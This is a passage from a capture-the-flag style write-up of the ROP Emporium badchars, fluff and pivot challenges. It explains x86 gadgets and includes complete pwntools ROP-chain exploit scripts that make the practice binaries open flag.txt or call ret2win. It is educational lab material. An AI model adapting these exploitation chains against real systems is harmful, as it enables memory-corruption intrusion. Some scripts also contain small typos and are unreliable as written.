flag.txt) I read the instruction again and notice paragraph **Moar XOR** And gadgets use xor ![image](https://hackmd.io/_uploads/BymY9ENgA.png) I have a gadget `pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret`, so this is a good idea to start trying with `xor byte ptr [r15], r14b ; ret` **Notice that: above instruction xor one byte at [r15] with one byte of r14(r14b)** The idea is that I will generate the filename by xor "flag.txt" with other value, such as 2. ``` def xor2(str): res = "" for i in str: res += chr(int(hex(ord(i))[2::], 16) ^ 2) return res ``` > res must be: 'dnce,vzv' And then, I will xor this res with 2 to get the correct filename. It seems be oke; however, I have the problem > Failed to open file: flag.tzt ![image](https://hackmd.io/_uploads/Bkzmvr4g0.png) ![image](https://hackmd.io/_uploads/HkHp2rVx0.png) **The problem occurs at 0x7fffffffdfd8, it stores 0x6010eb instead of 0x60102e** Look at the instruction again. > The good, the bad > Dealing with bad characters is frequently necessary in exploit development, you've probably had to deal with them before while encoding shellcode. "Badchars" are the reason that encoders such as shikata-ga-nai exist. When constructing your ROP chain remember that the badchars apply to every character you use, not just parameters but **addresses too**. To mitigate the need for too much RE the binary will list its badchars when you run it. > > I don't know the reason for that, I try the different address to store such as 0x00601030. Luckily, it is successful At the address 0x60102e, it includes 0x2e('.') in this address, so I pass the badchars, and my payload is unsuccessful. #### My script ```python= from pwn import * from subprocess import * def xor2(str): res = "" for i in str: res += chr(int(hex(ord(i))[2::], 16) ^ 2) return res offset = b'A'*40 popr12_r13_r14_r15_ret = p64(0x40069c) movr13_r12_ret = p64(0x400634) popr14_r15_ret = p64(0x4006a0) xorr15_r14b_ret = p64(0x400628) poprdi_ret = p64(0x4006a3) addr_str = 0x00601030 ret = p64(0x4004ee) print_file = p64(0x400510) str = xor2("flag.txt") payload = offset payload += popr12_r13_r14_r15_ret payload += bytes(str, 'utf-8') payload += p64(addr_str) payload += p64(1) payload += p64(1) payload += movr13_r12_ret for i in range(8): payload += popr14_r15_ret payload += p64(2) payload += p64(addr_str + i) payload += xorr15_r14b_ret payload += poprdi_ret payload += p64(addr_str) payload += ret payload += print_file #print(payload) with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./badchars') r.recvuntiaal(b'> ') r.sendline(payload) r.interactive() ``` ## Arch 32 bit ### Calculate Let's check ![image](https://hackmd.io/_uploads/Hy5e8XBlC.png) ![image](https://hackmd.io/_uploads/BJe1EQrlC.png) `Offset: 44` ![image](https://hackmd.io/_uploads/BkRWeNBlC.png) > the address of print_file function: 0x80483d0 #### **At the above instruction, we must find the gadget, which includes XOR. The purpose is to modify the filename.** ![image](https://hackmd.io/_uploads/HyecrmSgC.png) I feel this gadget will be useful. ``` 0x08048547 : xor byte ptr [ebp], bl ; ret ``` ![image](https://hackmd.io/_uploads/rkNS8QrxR.png) Yeah, my feeling is good. It seems be right. Next, I must find the gadget to pass my input to ebx and ebp - ![image](https://hackmd.io/_uploads/SyyEwXBlA.png) - `0x0804839d : pop ebx ; ret` - ![image](https://hackmd.io/_uploads/HkdwPmSgR.png) - `0x080485bb : pop ebp ; ret` ### Access writing ![image](https://hackmd.io/_uploads/SJFRPmrgA.png) > .data starts at 0x0804a018 **Notice that, the string flag.txt has 8 bytes; after xor, it still has 8 bytes. Therefore, you must pass two times to get the correct string; first at 0x0804a018 and second at 0x0804a01c** Then, I will find the gadget to write to this address ![image](https://hackmd.io/_uploads/Bk8sFmSxA.png) ``` 0x0804854f : mov dword ptr [edi], esi ; ret ``` It seems be legit. Let's check more ![image](https://hackmd.io/_uploads/BkJb9QBeC.png) ``` 0x080485b9 : pop esi ; pop edi ; pop ebp ; ret ``` ### Find the offset to pass parameter for print_file **I pass 0x0804a018 after print_file and take the result** ![image](https://hackmd.io/_uploads/BkHevVHxA.png) ![image](https://hackmd.io/_uploads/BkAOvVBlC.png) ![image](https://hackmd.io/_uploads/B1zoP4Hl0.png) #### My script Everything is okay, let's write script. ```python= from pwn import * def xor2(str): res = "" for i in str: res += chr(ord(i) ^ 2) return res str1 = xor2("flag") str2 = xor2(".txt") offset = b'A'*44 popesi_edi_ebp_ret = p32(0x080485b9) movedi_esi_ret = p32(0x0804854f) popebp_ret = p32(0x080485bb) popebx_ret = p32(0x0804839d) xorebp_bl_ret = p32(0x08048547) addr_str1 = 0x0804a018 addr_str2 = addr_str1 + 0x4 print_file = p32(0x80483d0) payload = offset payload += popesi_edi_ebp_ret payload += bytes(str1, 'utf-8') payload += p32(addr_str1) payload += p32(1) payload += movedi_esi_ret payload += popesi_edi_ebp_ret payload += bytes(str2, 'utf-8') payload += p32(addr_str2) payload += p32(1) payload += movedi_esi_ret for i in range (4): payload += popebp_ret payload += p32(addr_str1 + i) payload += popebx_ret payload += p32(2) payload += xorebp_bl_ret for i in range (4): payload += popebp_ret payload += p32(addr_str2 + i) payload += popebx_ret payload += p32(2) payload += xorebp_bl_ret payload += print_file payload += b'a'*4 payload += p32(addr_str1) with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./badchars32') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` # Fluff Look at the instruction [guide](https://ropemporium.com/challenge/fluff.html) > A solid approach is to work backwards: we'll need a write gadget - for example or something equivalent - to make the actual write, so we can start there. mov [reg], reg > Sometimes we'll need to take an indirect approach, especially in smaller binaries with fewer available gadgets like this one. **If you're using a gadget finder like ropper, you may need to tell it to search for longer gadgets**. As usual, you'll need to call the print_file() function with a path to the flag as its only argument. Some useful(?) gadgets are available at the questionableGadgets symbol. ## Arch x86_64 ### Let's check ![image](https://hackmd.io/_uploads/SygdWMUeA.png) ![image](https://hackmd.io/_uploads/SyWNMfUeR.png) I think no useful "mov gadget" gives me the way to pass "flag.txt" ![image](https://hackmd.io/_uploads/Sy3yGfUlA.png) **I notice something important: xlat, bextr and stos** ![image](https://hackmd.io/_uploads/ryVwrF8eR.png) Yep, we also can modify rdi. ***Hmmm, I imagine*** `rcx + rdx -> rbx -> rax -> rdi` #### Let's check more ![image](https://hackmd.io/_uploads/Sk4cItUeC.png) I see that, we don't have `mov [reg], reg`, pass "flag.txt" to stack and it is impossible to pass to the address(it makes a pointer to call fopen). Therefore, in this challenge, I must find a unique way to exploit. ![image](https://hackmd.io/_uploads/r1tcy58gC.png) - `print_file: 0x400510` ![image](https://hackmd.io/_uploads/S1FJe5UgA.png) - `.data : 0x601028` ### **QuestionableGadgets function** #### **xlatb** [xlatb](https://www.felixcloutier.com/x86/xlat:xlatb) > Locates a byte entry in a table in memory, **using the contents of the AL register as a table index**, then **copies the contents of the table entry back into the AL register**. The index in the AL register is treated as an **unsigned integer**. The XLAT and XLATB instructions get the base address of the table in memory from either the DS:EBX or the DS:BX registers (depending on the address-size attribute of the instruction, 32 or 16, respectively). (The DS segment may be overridden with a segment override prefix.) > > At the assembly-code level, two forms of this instruction are allowed: the “explicit-operand” form and the “no-operand” form. The explicit-operand form (specified with the XLAT mnemonic) allows the base address of the table to be specified explicitly with a symbol. This explicit-operands form is provided to allow documentation; however, note that the documentation provided by this form can be misleading. That is, the symbol does not have to specify the correct base address. The base address is always specified by the DS:(E)BX registers, which must be loaded correctly before the XLAT instruction is executed. > > The no-operands form (XLATB) provides a “short form” of the XLAT instructions. Here also the processor assumes that the DS:(E)BX registers contain the base address of the table. > > **In 64-bit mode**, operation is similar to that in legacy or compatibility mode. AL is used to specify the table index (the operand size is fixed at 8 bits). **RBX**, however, is used to specify the table’s base address. See the summary chart at the beginning of this section for encoding data and limits. ``` IF AddressSize = 16 THEN AL := (DS:BX + ZeroExtend(AL)); ELSE IF (AddressSize = 32) AL := (DS:EBX + ZeroExtend(AL)); FI; ELSE (AddressSize = 64) AL := (RBX + ZeroExtend(AL)); FI; ``` **To understand it more, I think the link below will explain it clearly.** [What does xlat instruction do in 8086](https://stackoverflow.com/questions/47556705/what-does-xlat-instruction-do-in-8086) #### In the Answer, I notice one. > If you know C, then it works like this: ``` const uint8_t table[256] = { ...some byte constants (table data) ... }; const uint8_t* ds_bx = table; uint8_t al = <some value to translate>; al = ds_bx[al]; // al = table[al]; // like "mov al,[ds:bx + al]" in ASM ``` > That [ds:bx + al] is not legal memory operand for mov instruction, but xlat accepts it, actually that's the only way how xlat will address memory (you can't modify it to use different registers). > > What kind of data you put in the table, or where you locate the table in memory, is up to you. Also what you use it for. This is not related to memory-paging or some other memory OS tables, this is just purely user data thing. > > You can for example use it to translate index of food in menu into price for food, if your food index is 0..255 and price will fit into 8 bits too. Then you reserve 256 bytes for table containing price data, and load ds:bx with address of that table, put index of food into al, and the xlat will translate the index into price from the table. #### However, in the comment of this answer ***The puporse(importance) of xlatb*** > And BTW, if the rest of EAX is known to be zero, movzx eax, byte [ebx+eax] is more efficient (for speed) in 32-bit code (or add cl, [ebx+eax] or whatever), but xlatb does have uses for code-size optimization. It's probably most useful on 8086 without movzx (386), because movzx to zero extend a byte index into a full register solves the same problem. ***Notice about xlatb*** > Not covered by this is the fact that xlatb can have its segment overridden. So it defaults to ds:(r/e)bx + al but can take any segment instead ***The mistake of this answer*** > @PeterCordes I would never expect byte to be signed... that's why avoided char ... I should have used uint8_t... will edit it. ... Oh wait, Java has signed byte. ... but Java is ... nevermind > **I didn't expect anything from *byte*, it's not a standard type. I thought you were just making up C-like terminology to describe asm.** > Important: The ds:[bx + al] "addressing mode" it uses zero-extends AL. So the C version definitely needs to use **unsigned byte** al. This is obviously what you want, but not what you get from signed array indexes in C. So, you can control the rax from rbx ``` xlat BYTE PTR ds:[rbx] ``` #### You can rely on code C to understand it; however, it is a trick to remember and understand, not right. #### bextr - [BEXTR](https://www.felixcloutier.com/x86/bextr) > **Extracts contiguous bits from the first source operand (the second operand) using an index value and length value specified in the second source operand (the third operand)**. > **Bit 7:0** of the second source operand specifies the starting bit position of bit extraction. A START value exceeding the operand size will not extract any bits from the second source operand. > **Bit 15:8** of the second source operand specifies the maximum number of bits (LENGTH) beginning at the START position to extract. Only bit positions up to (OperandSize -1) of the first source operand are extracted. > The extracted bits are written to the destination register, **starting from the least significant bit**. All higher order bits in the destination operand (**starting at bit position LENGTH) are zeroed**. The destination register is cleared if no bits are extracted. > > This instruction is not supported in real mode and virtual-8086 mode. The operand size is always 32 bits if not in 64-bit mode. In 64-bit mode operand size 64 requires VEX.W1. VEX.W1 is ignored in non-64-bit modes. An attempt to execute this instruction with VEX.L not equal to 0 will cause #UD. - [How does bextr instruction in x86 work](https://stackoverflow.com/questions/70208751/how-does-the-bextr-instruction-in-x86-work) > A picture might help. Say the starting bit is 5 and the length is 9. Then if we have ``` Input : 11010010001110101010110011011010 = 0xd23aacda |-------| \ \ \ v |-------| Output: 00000000000000000000000101100110 = 0x00000166 ``` > The desired block of bits goes to the least significant bits of the output, and the remaining bits of the output become 0. ``` bextr rbx,rcx,rdx ``` To be simple, it will copy the bit of rcx to rbx, and this copy depends on rdx. You want to control rbx, and I will explain more about it depending on the informations above. The bits of rdx will be: | 15<------>8 | 7<------>0 | | -------- | -------- | | The size | The start bit in rcx| If we want copy all rcx to rbx, rdx should be **0x4000**. | 15------->8 | 7<------>0 | | -------- | -------- | | 01000000 | 00000000 | | 64 bits | 0 | #### We can control rbx rely on rcx and rdx. #### Stos - [stos](https://www.felixcloutier.com/x86/stos:stosb:stosw:stosd:stosq) - [stos instruction](https://www.tutorialspoint.com/assembly_programming/assembly_stos_instruction.htm) > The STOS instruction copies the data item from AL (for bytes - STOSB), AX (for words - STOSW) or EAX (for doublewords - STOSD) to the destination string, pointed to by ES:DI in memory. --- ### We have some informations: - I can modify one byte of at the address which stores in rdi, from al - I can modify al, from one byte at the address which stores in rbx - I can modify rbx, from rcx(value, may be the address), and rdx(option: size + the index) --- ### The path #### The important point ![image](https://hackmd.io/_uploads/HkeY-cLlR.png) - We must sub 0x3ef2 to get the correct value. ![image](https://hackmd.io/_uploads/S1Ji-5IlC.png) - We get the `index al + address of rbx`, so always make al equal 0. - ![image](https://hackmd.io/_uploads/SJEbMqLeA.png) - ![image](https://hackmd.io/_uploads/HypWGcIgC.png) - I see the gadget will help this action. We can't not pass directly "flag.txt" into the stack and then move to the access write memory. **Find the string "flag.txt" in this program** - ![image](https://hackmd.io/_uploads/ryLDl5LgA.png) - ![image](https://hackmd.io/_uploads/H1bOgcIl0.png) ``` (0x4003c4, 0), # 'f' (0x4003c5, 1), # 'l' (0x4003d6, 2), # 'a' (0x4003cf, 3), # 'g' (0x40024e, 4), # '.' (0x400192, 5), # 't' (0x400246, 6), # 'x' (0x400192, 7), # 't' ``` --- #### My first script ```python= from pwn import * offset = b'A'*40 subtract = 0x3ef2 xlatb_ret = p64(0x400628) poprdx_rcx_addrcx_bextr_ret = p64(0x40062a) stosrdi_ret = p64(0x400639) poprdi_ret = p64(0x4006a3) moveax0_poprbp_ret = p64(0x400610) ret = p64(0x400295) addr_flag = ['0x4003c4', '0x4003c5' , '0x4003d6', '0x4003cf', '0x40024e', '0x400192', '0x400246', '0x400192'] addr_str = 0x601028 print_file = p64(0x400510) payload = offset for i in range(len(addr_flag)): payload += moveax0_poprbp_ret payload += p64(1) #for rbp payload += poprdx_rcx_addrcx_bextr_ret payload += p64(0x4000) #take 8 bytes payload += p64(int(addr_flag[i], 16) - subtract) # take correct value rcx: the address contain char in "flag.txt" payload += xlatb_ret #take the one byte at the address which stores in rbx to al payload += poprdi_ret payload += p64(addr_str + i) payload += stosrdi_ret payload += poprdi_ret payload += p64(addr_str) payload += ret payload += print_file with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./fluff') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` However, it don't work. I debug and find the reason ![image](https://hackmd.io/_uploads/rJbE5cIeR.png) ![image](https://hackmd.io/_uploads/H1wrcqLg0.png) Yep, my input ends at the 0x7fffffffe0c0 ![image](https://hackmd.io/_uploads/rySbiqUxR.png) ![image](https://hackmd.io/_uploads/S1iZocIeR.png) **So, my input is very long, so I need to make it shorter.** --- ![image](https://hackmd.io/_uploads/Bywui9IgA.png) I think about reducing the above gadget, because other gadgets are necessary for my exploitation. Instead of making eax equal 0, I will subtract the rbx and the result will be correct ***What is the value I should subtract??*** - At the first take, I find the value of rax and subtract rbx from it - And after that, I will subtract rbx from the current value of rax; it is the previous digit. **Notice that, subtracting rbx also modifies the value of pop to rcx.** ![image](https://hackmd.io/_uploads/Bk5QRcUx0.png) ![image](https://hackmd.io/_uploads/HJvE0qLgC.png) The first value of subtracting : 0xb #### My second script ```python= from pwn import * offset = b'A'*40 subtract = 0x3ef2 xlatb_ret = p64(0x400628) poprdx_rcx_addrcx_bextr_ret = p64(0x40062a) stosrdi_ret = p64(0x400639) poprdi_ret = p64(0x4006a3) moveax0_poprbp_ret = p64(0x400610) ret = p64(0x400295) addr_flag = ['0x4003c4', '0x4003c5' , '0x4003d6', '0x4003cf', '0x40024e', '0x400192', '0x400246', '0x400192'] addr_str = 0x601028 print_file = p64(0x400510) payload = offset flag_str = b"flag.txt" for i in range(len(addr_flag)): if(i == 0): sub_rax = 0xb if(i != 0): sub_rax = flag_str[i - 1] payload += poprdx_rcx_addrcx_bextr_ret payload += p64(0x4000) #take 8 bytes payload += p64(int(addr_flag[i], 16) - subtract - sub_rax) # take correct value rcx: the address contain char in "flag.txt" payload += xlatb_ret #take the one byte at the address which stores in rbx to al payload += poprdi_ret payload += p64(addr_str + i) payload += stosrdi_ret payload += poprdi_ret payload += p64(addr_str) payload += ret payload += print_file with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./fluff') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` I think this script on your computer will run successfully. The problem occurs when I run this because of stack alignment. If I add ret gadget, I need more than 8 bytes of input. --- **I debug the program and notice that** ![image](https://hackmd.io/_uploads/r1HL-28eR.png) ![image](https://hackmd.io/_uploads/S1mt-nLxR.png) After `stos BYTE PTR es:[rdi],al` done `rdi = rdi + 1` **It is also the value of rdi we want to pop from the stack to rdi in the next loop. Therefore, we only need pop rdi once.** #### My final script ```python= from pwn import * offset = b'A'*40 subtract = 0x3ef2 xlatb_ret = p64(0x400628) poprdx_rcx_addrcx_bextr_ret = p64(0x40062a) stosrdi_ret = p64(0x400639) poprdi_ret = p64(0x4006a3) moveax0_poprbp_ret = p64(0x400610) ret = p64(0x400295) addr_flag = ['0x4003c4', '0x4003c5' , '0x4003d6', '0x4003cf', '0x40024e', '0x400192', '0x400246', '0x400192'] addr_str = 0x601028 print_file = p64(0x400510) payload = offset flag_str = b"flag.txt" for i in range(len(addr_flag)): if(i == 0): sub_rax = 0xb if(i != 0): sub_rax = flag_str[i - 1] payload += poprdx_rcx_addrcx_bextr_ret payload += p64(0x4000) #take 8 bytes payload += p64(int(addr_flag[i], 16) - subtract - sub_rax) # take correct value rcx: the address contain char in "flag.txt" payload += xlatb_ret #take the one byte at the address which stores in rbx to al if(i == 0): payload += poprdi_ret payload += p64(addr_str + i) payload += stosrdi_ret payload += poprdi_ret payload += p64(addr_str) payload += ret payload += print_file with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./fluff') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` ## Arch 32 bit ### Let's check ![image](https://hackmd.io/_uploads/r1LKznDgC.png) ![image](https://hackmd.io/_uploads/SylWmhDeA.png) - `print_file: 0x80483d0` ![image](https://hackmd.io/_uploads/Bkfrm3wlA.png) - `.data: 0804a018` ![image](https://hackmd.io/_uploads/r1OqV3wxA.png) - As you see, no gadget `mov [reg], reg` can help me pass the string "flag.txt" to the address I want. **Therefore, you must find the string "flag.txt" in spaces.** ![image](https://hackmd.io/_uploads/HJcSP6Dg0.png) ![image](https://hackmd.io/_uploads/SyCKPpvxC.png) ``` (0x804829c, 0), # 'f' (0x804829d, 0), # 'l' (0x80482b0, 2), # 'a' (0x80482a9, 3), # 'g' (0x8048161, 4), # '.' (0x80480f6, 5), # 't' (0x8048160, 6), # 'x' (0x80480f6, 7), # 't' ``` ![image](https://hackmd.io/_uploads/SkjiM2PgC.png) ### QuestionableGadgets #### pext [What are assembly instruction like pext actually used for](https://stackoverflow.com/questions/69966389/what-are-assembly-instructions-like-pext-actually-used-for) [pext](https://www.felixcloutier.com/x86/pext) > PEXT uses a mask in the second source operand (the third operand) to transfer either contiguous or non-contiguous bits in the first source operand (the second operand) to contiguous low order bit positions in the destination (the first operand). For each bit set in the MASK, **PEXT extracts the corresponding bits from the first source operand and writes them into contiguous lower bits of destination operand. The remaining upper bits of destination are zeroed.** ![image](https://hackmd.io/_uploads/rJ3FGTwlA.png) #### xchg [How does XCHG work in Intel assembly language](https://stackoverflow.com/questions/50102342/how-does-xchg-work-in-intel-assembly-language) [XCHG Instruction in Assembly](https://electronicsreference.com/assembly-language/xchg/) > Like the MOV instruction, the primary purpose of XCHG is to move data from one place to another. In fact, we could perform the function of xchg using MOV and three registers or memory locations. This is where the value of xchg is found. It allows us to swap two values without having to use a third register and in a single line of code. #### bswap [How does BSWAP instruction "speed execution of decimal arithmetic"](https://stackoverflow.com/questions/26683586/how-does-the-bswap-instruction-speed-execution-of-decimal-arithmetic#:~:text=The%20BSWAP%20%28byte%20swap%29%20instruction%20reverses%20the%20byte,the%20register%20with%20the%20same%20value%20as%20before.) > **The BSWAP (byte swap) instruction reverses the byte order in a 32-bit register operand. Bit positions 0 through 7 are exchanged with 24 through 31, and bit positions 8 through 15 are exchanged with 16 through 23. Executing this instruction twice in a row leaves the register with the same value as before.** The BSWAP instruction is useful for converting between “big-endian” and “little-endian” data formats. This instruction also speeds execution of decimal arithmetic. (The XCHG instruction can be used to swap the bytes in a word.) --- ### The path - I can put the address where I want to store each char(in string "flag.txt") to ecx and pass char into it by using - `xchg BYTE PTR [ecx],dl` - To modify dl(also rdx), I will use ``` mov eax,ebp mov ebx,0xb0bababa pext edx,ebx,eax mov eax,0xdeadbeef ret ``` , and the requirement is that I need to change ebx and eax. I only take ``` pext edx,ebx,eax mov eax,0xdeadbeef ret ``` Thus, eax always is 0xdeadbeef, so I will modify ebx - ![image](https://hackmd.io/_uploads/BJogjzug0.png) - ![image](https://hackmd.io/_uploads/rkpWiMul0.png) > Notice that: xchg BYTE PTR [ecx],**dl** > I only need to modify one byte of edx, the other is not important `pext edx,ebx,eax` ``` pext edx,ebx,eax 'f' src1(ebx) 00000000000000000000000011010110 src2(eax) 11011110101011011011111011101111 dst(edx) 00000000000000000000000001100110 => ebx: 0xd6 'l' src1(ebx) 00000000000000000000000011011100 src2(eax) 11011110101011011011111011101111 dst(edx) 00000000000000000000000001101100 => ebx: 0xdc 'a' src1(ebx) 00000000000000000000000011010001 src2(eax) 11011110101011011011111011101111 dst(edx) 00000000000000000000000001100001 => ebx: 0xd1 'g' src1(ebx) 00000000000000000000000011010111 src2(eax) 11011110101011011011111011101111 dst(edx) 00000000000000000000000001100111 => ebx: 0xd7 '.' src1(ebx) 00000000000000000000000001011110 src2(eax) 11011110101011011011111011101111 dst(edx) 00000000000000000000000000101110 => ebx: 0x5e 't' src1(ebx) 00000000000000000000000011100100 src2(eax) 11011110101011011011111011101111 dst(edx) 00000000000000000000000001110100 => ebx: 0xe4 'x' src1(ebx) 00000000000000000000000011101000 src2(eax) 11011110101011011011111011101111 dst(edx) 00000000000000000000000001111000 => ebx: 0xe8 't' src1(ebx) 00000000000000000000000011100100 src2(eax) 11011110101011011011111011101111 dst(edx) 00000000000000000000000001110100 => ebx: 0xe4 ``` --- Okay, my script is okay, I pass the correct "flag.txt" to the address I want. However, I can't open the file, so I debug and find the reason. ![image](https://hackmd.io/_uploads/rJzvVXueR.png) ![image](https://hackmd.io/_uploads/r1jg4QdxR.png) ![image](https://hackmd.io/_uploads/BJQiV7_eC.png) - ![image](https://hackmd.io/_uploads/r1NnNXOgC.png) - So the offset after print_file is : 4 ~~Because I late deadline~~, so in the future I will find one more way to exploit this challenge. --- **My script** ```python= from pwn import * offset = b'A'*44 print_file = p32(0xf7fbb74f) addr_str = 0x0804a018 #add_flag = ['0x804829c', '0x804829d', '0x80482b0', '0x80482a9', '0x8048161', '0x80480f6', '0x8048160', '0x80480f6'] ebx_pextr = [0xd6, 0xdc, 0xd1, 0xd7, 0x5e, 0xe4, 0xe8, 0xe4] pextr_moveax_ret = p32(0x0804854a) moveax_0xdeadbeef_ret = p32(0x0804854f) popecx_bswap_ret = p32(0x08048558) bswapecx_ret = p32(0x08048559) xchgecx_dl = p32(0x08048555) popebx_ret = p32(0x08048399) payload = offset payload += moveax_0xdeadbeef_ret #make eax: 0xdeadbeef in the first for i in range(8): payload += popebx_ret #modify ebx payload += p32(ebx_pextr[i]) payload += pextr_moveax_ret payload += popecx_bswap_ret #get the address to ecx and reverse byte payload += p32(addr_str + i) payload += bswapecx_ret #reverse again and take the correct address payload += xchgecx_dl payload += print_file payload += b'a'*4 payload += p32(addr_str) with open("debug", "wb") as binary_file: binary_file.write(payload) r = process('./fluff32') r.recvuntil(b'> ') r.sendline(payload) r.interactive() ``` # Pivot ## What is a pivot?? [Stack pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting): **Stack Pivoting is a technique we use when we lack space on the stack** ## The useful information ### [Guide](https://ropemporium.com/challenge/pivot.html) #### Offset **The ret2win() function in the libpivot** shared object isn't imported, but that doesn't mean you can't call it using ROP! **You'll need to find the .got.plt entry of foothold_function() and add the offset of ret2win() to it to resolve its actual address**. Notice that foothold_function() isn't called during normal program flow, you'll have to **call it( foothold_function() ) first to update its .got.plt entry.** ### [Position Independent Code (PIC) in shared libraries](https://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/) ![image](https://hackmd.io/_uploads/HyIVn8Fe0.png) ![image](https://hackmd.io/_uploads/rJfQ3UKeR.png) ## Arch x86-64 ### Let's check ![image](https://hackmd.io/_uploads/Hkw9uIFlA.png) ![image](https://hackmd.io/_uploads/HkapwIFeR.png) - It gives me two times to input - The information `place to pivot: 0x7ffff79d5f10` #### Okay, debug the program to understand about it more.** ![image](https://hackmd.io/_uploads/ryxTdLKeR.png) - My first input goes to 0x7ffff79d5f10. ![image](https://hackmd.io/_uploads/BkCqtIFxR.png) - My second input goes to 0x7fffffffdeb0. - The size of it: 0x40(64) bytes. - The return address store at: 0x7fffffffded8 The offset between the address at my first input and the address that stores the return address is 40. Therefore, I can only pass up to 24 bytes in the stack. It isn't large enough for the gadget. #### The ~~usefulFuntion~~ uselessFunction ![image](https://hackmd.io/_uploads/SJGRcIKe0.png) ![image](https://hackmd.io/_uploads/HymfvDKl0.png) ~~It is really useless=)))~~ It gives me the information about **the address of foothold_function in .plt**: `0x400720` #### Find the information about ret2win and foothold_function **They are located in libpivot.so** ![image](https://hackmd.io/_uploads/HkW-TUtlR.png) ` readelf -a libpivot.so`, I notice that ![image](https://hackmd.io/_uploads/SyE51vteC.png) - ![image](https://hackmd.io/_uploads/r1B2JDtgR.png) - ![image](https://hackmd.io/_uploads/SkFsyvFx0.png) - **Thus, the offset of the .got.plt entry of foothold_function() and ret2win() : 0x117** ` readelf -a pivot` ![image](https://hackmd.io/_uploads/rJ-KxDYxA.png) - ![image](https://hackmd.io/_uploads/HJO5ePYlR.png) - **The .got.plt entry of foothold_function(): 0x000000601040** ### The path #### Find the way to make Stack Pivoting ![image](https://hackmd.io/_uploads/rJSS7wKe0.png) - ![image](https://hackmd.io/_uploads/r1JIXDtxR.png) ![image](https://hackmd.io/_uploads/SkxB8mwYl0.png) **Awesome, I can actually modify rsp** *What we should point the stack pointer???* - In the first input, my input stores at the address 0x7ffff79d5f10 - If I pass the useful gadget to it, I can control the flow of the program. **The purpose is to call the ret2win** I will do it step-by-step - Call foothold_function() first to update its .got.plt entry. - Load the effective address of foothold_function() - Add the offset between ret2win() and foothold_function() in the .got.plt entry to the address above - Call it(ret2win) #### The useful gadget ![image](https://hackmd.io/_uploads/S1P3wPtl0.png) ![image](https://hackmd.io/_uploads/BkYavPYgR.png) ![image](https://hackmd.io/_uploads/B1BRDDKeC.png) **I notice that there are many gadgets that contain rax. Check it out more** ![image](https://hackmd.io/_uploads/HycAuPFlC.png) - ![image](https://hackmd.io/_uploads/B1R5_DKe0.png) - ![image](https://hackmd.io/_uploads/BJi2ODtlR.png) - ![image](https://hackmd.io/_uploads/SykKtDKgC.png) - ![image](https://hackmd.io/_uploads/r11ZtvKe0.png) **The gadget `add rax, rbp ; ret` seems that I can add the offset to it** ![image](https://hackmd.io/_uploads/rJ8y9PtxC.png) - ![image](https://hackmd.io/_uploads/H1feqDteA.png) Yeah, I have enough informations. #### My script ```python= from pwn import * offset = b'A'*40 addr_offset = p64(0x117) addr = p64(0x7ffff79d5f10) foothold_plt = p64(0x400720) foothold_got = p64(0x601040) xchgrax_rsp_ret = p64(0x4009bd) poprax_ret = p64(0x4009bb) add_rax_rbp_ret = p64(0x4009c4) poprbp_ret = p64(0x4007c8) movrax_addrrax_ret = p64(0x4009c0) call_rax = p64(0x4006b0) p = process("./pivot") stack_pivoting = foothold_plt #call foothold_plt first stack_pivoting += poprax_ret #get the adress of foothold_got stack_pivoting += foothold_got stack_pivoting += movrax_addrrax_ret #get the effective adress of foothold_got stack_pivoting += poprbp_ret stack_pivoting += addr_offset #offset stack_pivoting += add_rax_rbp_ret #add the offset to get the address of ret2win stack_pivoting += call_rax #call ret2win p.recvuntil(b'> ') p.sendline(stack_pivoting) stack_change = offset stack_change += poprax_ret stack_change += addr stack_change += xchgrax_rsp_ret p.recvuntil(b'> ') p.sendline(stack_change) p.interactive() ``` ## Arch 32 bit ### Let's check ![image](https://hackmd.io/_uploads/H119UOplR.png) ![image](https://hackmd.io/_uploads/rJW68_TxR.png) ![image](https://hackmd.io/_uploads/HJugwOpgA.png) - It also gives two times to input - The ìnformation `place to pivot: 0xf7d7ef10` **Okay, debug the program to understand about it more** ![image](https://hackmd.io/_uploads/rywoDO6gA.png) - My first input goes to 0xf7d7ef10 ![image](https://hackmd.io/_uploads/BkfluOpeC.png) - My second input goes to 0xffffcff0. - The size of it: 0x40(56) bytes. - The return address store at: 0xffffd01c The offset between the address at my first input and the address that stores the return address is 44. Therefore, I can only pass up to 12 bytes in the stack. It isn't large enough for the gadget. #### Find the information about ret2win and foothold_function They are located in libpivot32.so ![image](https://hackmd.io/_uploads/BkogY_aeA.png) `readelf -a pivot32` , I notice that ![image](https://hackmd.io/_uploads/BkmHYdTe0.png) - ![image](https://hackmd.io/_uploads/ByGIYOpeC.png) - ![image](https://hackmd.io/_uploads/rJtvF_alR.png) - **Thus, the offset of the .got.plt entry of foothold_function() and ret2win() : 0x1f7** `readelf -a pivot32` ![image](https://hackmd.io/_uploads/ryao9d6lA.png) - ![image](https://hackmd.io/_uploads/BJW69_6x0.png) - The .got.plt entry of foothold_function(): 0x0804a024 ### The path #### Find the way to make Stack Pivoting ![image](https://hackmd.io/_uploads/HkpSiuTxR.png) - ![image](https://hackmd.io/_uploads/B14Uo_TeA.png) ![image](https://hackmd.io/_uploads/rkIPsOaxC.png) - ![image](https://hackmd.io/_uploads/r1XG2daeR.png) - ![image](https://hackmd.io/_uploads/r1iOo_alA.png) - ![image](https://hackmd.io/_uploads/r19ci_6xR.png) - ![image](https://hackmd.io/_uploads/rJa6jOaxC.png) ![image](https://hackmd.io/_uploads/rJZ2jualA.png) - ![image](https://hackmd.io/_uploads/H1zpsdagA.png) **Awesome, I can actually modify esp** *What we should point the stack pointer???* - In the first input, my input stores at the address 0xf7d7ef10 - If I pass the useful gadget to it, I can control the flow of the program. **The purpose is to call the ret2win** I will do it step-by-step - Call foothold_function() first to update its .got.plt entry. - Load the effective address of foothold_function() - Add the offset between ret2win() and foothold_function() in the .got.plt entry to the address above - Call it(ret2win) ```python= from pwn import * offset = b'A'*44 addr_offset = p32(0x1f7) addr = p32(0xf7d7ef10) footholo_plt = p32(0x8048520) footholo_got = p32(0x0804a024) xchgeax_esp_ret 